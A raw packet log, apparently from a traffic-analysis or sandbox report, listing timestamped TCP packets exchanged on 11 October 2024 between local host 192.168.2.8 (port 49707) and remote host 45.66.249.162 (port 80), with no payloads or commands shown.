Oct 11, 2024 22:32:34.893429995 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.893435955 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.893440962 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:34.893446922 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.893462896 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:34.893487930 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.043977976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044025898 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044035912 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044054985 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044066906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044079065 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044104099 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044116974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044131994 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044145107 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044159889 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044174910 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.044174910 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.044176102 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.044176102 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.044176102 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.044217110 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.044255972 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044269085 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044290066 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.044306993 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.044387102 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044404984 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044420004 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044421911 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.044440031 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044440031 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.044454098 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044457912 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.044471979 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044473886 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.044482946 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044487953 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044490099 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.044507027 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044516087 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.044522047 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044537067 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044539928 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.044553041 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044564009 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.044565916 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044594049 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.044614077 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.044660091 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044668913 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044691086 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.044708967 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.044773102 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044805050 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.044832945 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044847012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044863939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.044867039 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044882059 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.044895887 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.044903994 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044914961 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.044934988 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.044951916 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045044899 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045058012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045075893 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045082092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045094013 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045097113 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045109987 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045115948 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045126915 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045141935 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045212984 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045222998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045242071 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045243979 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045281887 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045281887 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045289993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045304060 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045319080 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045321941 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045334101 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045337915 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045355082 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045367956 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045381069 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045386076 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045393944 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045401096 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045409918 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045424938 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045476913 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045490980 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045506954 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045511007 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045527935 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045542955 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045599937 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045613050 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045629025 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045630932 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045644045 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045646906 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045660019 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045663118 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045675993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045679092 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045695066 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045711994 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045746088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045754910 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045773029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045778990 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045789957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045794010 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045804977 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045809984 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045821905 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045825958 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045842886 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045860052 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045874119 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045886993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045903921 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045907021 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045922041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045933962 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045938015 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045964003 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.045967102 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.045998096 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.046086073 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.046098948 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.046114922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.046117067 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.046133995 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.046150923 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.046158075 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.046170950 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.046189070 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.046205044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.046211004 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.046226025 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.046241999 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.046241999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.046257973 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.046258926 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.046273947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.046276093 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.046293020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.046308994 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.046327114 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.046360016 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.046400070 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.046411991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.046427965 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.046431065 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.046446085 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.046462059 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.046478033 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.046490908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.046506882 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.046515942 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.046524048 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.046530008 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.046545029 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.046549082 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.046556950 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.046565056 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.046576023 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.046581030 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.046596050 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.046611071 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.198214054 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198241949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198266983 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198276997 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198282957 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.198299885 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198323965 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.198334932 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.198373079 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198383093 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198401928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198410034 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.198415041 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198435068 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.198436022 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198451042 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198465109 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.198468924 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198481083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198482990 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.198512077 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.198548079 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198559046 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198575974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198579073 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.198590040 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198606014 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.198607922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198632002 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.198632002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198648930 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198653936 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198658943 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.198659897 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198669910 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198676109 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198679924 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198765039 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198767900 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.198777914 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198795080 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198807001 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.198807955 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198822975 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.198827028 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198839903 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198854923 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198864937 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198865891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.198880911 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.198893070 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198900938 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.198906898 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198910952 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.198923111 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.198940039 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.198950052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198961020 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198982954 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.198987007 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.198995113 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199001074 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199018955 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199024916 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199070930 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199071884 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199085951 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199104071 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199127913 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199152946 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199167013 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199183941 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199199915 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199244022 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199254990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199271917 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199275017 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199281931 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199291945 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199301958 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199309111 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199326992 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199343920 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199439049 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199449062 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199454069 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199489117 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199491978 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199500084 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199518919 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199522018 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199533939 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199537992 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199556112 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199573040 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199664116 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199673891 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199691057 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199696064 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199712038 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199712038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199723959 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199728012 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199743032 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199749947 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199757099 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199767113 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199779987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199784040 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199801922 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199820042 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199861050 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199872017 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199887991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199898958 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199899912 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199918032 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199923992 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199938059 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199948072 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199954033 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199966908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199978113 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.199985027 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.199994087 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200005054 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200012922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200022936 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200031996 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200047970 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200073957 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200093985 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200126886 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200221062 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200231075 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200253963 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200270891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200273037 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200284004 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200299025 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200306892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200323105 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200324059 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200339079 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200340986 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200356007 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200356960 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200371981 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200376987 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200392008 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200393915 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200402975 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200408936 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.200424910 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.200424910 CEST	49707	80	192.168.2.8	45.66.249.162
